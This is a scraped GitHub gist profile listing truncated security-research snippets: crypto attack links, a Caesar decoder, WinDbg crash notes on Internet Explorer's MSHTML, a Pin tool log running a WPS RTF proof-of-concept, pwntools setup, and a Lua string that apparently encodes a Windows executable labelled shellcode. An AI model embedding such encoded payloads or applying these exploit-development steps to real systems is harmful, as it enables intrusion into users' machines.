Skip to content

Instantly share code, notes, and snippets.

View hellok's full-sized avatar

Chen Qin hellok

View GitHub Profile
@hellok
hellok / gist:5540737
Created May 8, 2013 14:16
if md5(a)=md5(b) md5(a+f)=md5(b+f)
http://www.codeproject.com/Articles/11643/Exploiting-MD5-collisions-in-C
namespace koh
{
using AForge;
using AForge.Imaging;
using AForge.Imaging.Filters;
//using koh;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
@hellok
hellok / decode.cpp
Last active May 25, 2018 20:23
klingon encrypted with cesars cipher
#include <stdio.h>
#include <string.h>
char* cypheredText[] =
{
"pySpIl. wmqDp oDl! nQSamn lIjngychoIl tDt nDn'Do"
};
char alphabet[] =
{
@hellok
hellok / rsa.txt
Last active December 17, 2015 06:58
rsa
http://www.voidspace.org.uk/python/modules.shtml#pycrypto
http://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical
use GCD algorithm to break weak random
https://en.wikipedia.org/wiki/RSA_(algorithm)#Importance_of_strong_random_number_generation
RSA Common Modulus Attack:https://dspace.ist.utl.pt/bitstream/2295/1066149/1/dissertacao.pdf
Fermat's factorization
http://gdata-python-client.googlecode.com/hg/pydocs/gdata.Crypto.Util.number.html
@hellok
hellok / 1.html
Created May 14, 2013 14:03
old chrome file
<!DOCTYPE HTML>
<html>
<head>
<title>Chrome URLs</title>
<meta charset="utf-8">
</head>
<body>
<h2>List of Chrome URLs</h2>
<ul>
69eb0000 mshtml base
6a29753c 8b8390000000 mov eax,dword ptr [ebx+90h] ds:0023:00000090=????????
0:005> u 6A32536D
MSHTML!CDisplayPointer::MoveToMarkupPointer+0xf6:
6a32536d e8ff231a00 call MSHTML!CDisplayPointer::GetLineInfo+0x200 (6a4c7771)
bp MSHTML!CDisplayPointer::MoveToMarkupPointer+0xf6
bp MSHTML!CDisplayPointer::GetLineInfo+0x200
sxe ld mshtml
@hellok
hellok / calc.lua
Created May 17, 2013 04:41
lua shellcode
yLJwQ = "\77\90\144\0\3\0\0\0\4\0\0\0\255\255\0\0\184\0\0\0\0\0\0\0\64\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\232\0\0\0\14\31\186\14\0\180\9\205\33\184\1\76\205\33\84\104\105\115\32\112\114\111\103\114\97\109\32\99\97\110\110\111\116\32\98\101\32\114\117\110\32\105\110\32\68\79\83\32\109\111\100\101\46\13\13\10\36\0\0\0\0\0\0\0\147\56\240\214\215\89\158\133\215\89\158\133\215\89\158\133\172\69\146\133\211\89\158\133\84\69\144\133\222\89\158\133\184\70\148\133\220\89\158\133\184\70\154\133\212\89\158\133\215\89\159\133\30\89\158\133\84\81\195\133\223\89\158\133\131\122\174\133\255\89\158\133\16\95\152\133\214\89\158\133\82\105\99\104\215\89\158\133\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\80\69\0\0\76\1\4\0\210\254\126\74\0\0\0\0\0\0\0\0\224\0\15\1\11\1\6\0\0\176\0\0\0\160\0\0\0\0\0\0\198\130\0\0\0\16\0\0\0\192\0\0\0\0\64\0\0\16\0\0\0\16\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\96\1\0\0\16\0\0\0\0\0\0\2\0\0\0\0\0\16\0\0\16\0\0\0\0\16\0\0\16\0\0\0\0\0\0\16\0\0\0\0\0\0\0\0\0\0\0\108\199\0\0\12
@hellok
hellok / oom.html
Created May 17, 2013 04:50
oom sample
void BidiResolver<Iterator, Run>::createBidiRunsForLine(const Iterator& end, VisualDirectionOverride override, bool hardLineBreak)
{
using namespace WTF::Unicode;
ASSERT(m_direction == OtherNeutral);
if (override != NoVisualOverride) {
m_emptyRun = false;
@hellok
hellok / pin_tool.log
Created May 17, 2013 04:51
pin_tool.log
Generating "rr1.idc" IDA idc script base on "rr1" table...
IDA idc script "rr1.idc" generated successfully.
C:\Program Files\Kingsoft\WPS Office Personal\office6>pin -t pinStalk.dll -db wp
sm1.db -t rr1 -m rtfreader -- wps "c:\Users\hp\Desktop\POC\WPS\aaaaaaaaaa.rtf"
^C
C:\Program Files\Kingsoft\WPS Office Personal\office6>pin -t pinStalk.dll -db wp
sm2.db -t rr2 -m rtfreader -- wps "c:\Users\hp\Desktop\POC\WPS\aaaaaaaaaa.rtf"
C:\Program Files\Kingsoft\WPS Office Personal\office6>bblDiffTool.exe -gen wpsm2
@hellok
hellok / 1.sh
Last active December 17, 2015 13:39
matplotlib.pyplot
cd /tmp
git clone https://github.com/pwnies/pwntools.git
sudo apt-get update
cd /pwntools
sudo ./install.sh
sudo apt-get install libfreetype6-dev
sudo apt-get install python-dev
sudo pip install numpy
sudo apt-get install libfreetype6-dev
sudo apt-get install libpng-devel